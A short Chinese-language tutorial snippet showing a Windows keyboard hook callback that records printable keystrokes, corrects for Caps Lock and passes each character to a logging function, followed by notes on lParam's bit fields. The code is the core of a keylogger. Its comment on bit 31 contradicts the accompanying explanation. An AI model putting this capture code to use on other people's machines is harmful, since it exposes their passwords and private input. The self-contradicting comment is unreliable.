钩子过程函数如下:
LRESULT CALLBACK KeyHookProc(int nCode,WPARAM wParam,LPARAM lParam){
if(((lParam>>31)&1) == 1){
//当前按键正在被按下
if(wParam >= 0x20 && wParam <= 0x7e){
//可打印字符
char buf[2];
int capsLockState=GetKeyState(VK_CAPITAL); //CAP LOCK键状态
if(wParam>='A' && wParam<='Z' &&((capsLockState&1)==0)){
buf[0]=(char)wParam+32;
}else{
buf[0]=(char )wParam;
}
buf[1]='\0';
LogKey(buf);
}
}
return CallNextHookEx(g_hKeyHook,nCode,wParam,lParam);
}
说明:
1,可以通过lParam获取按键的一些状态其各位的定义如下:
0~15:按键重复次数
16~23:扫描码
24:是否是功能键或数字小键盘上的键,是则为1.
25~28:保留。
29:Alt键是否被按下,按下为1.
30:如果在消息被发送之前是按下的则为1,否则为0。
31:如果键正在被按下,则为0
2,通过GetKeyState获取一些控制键的状态,具体使用方法见MSDN.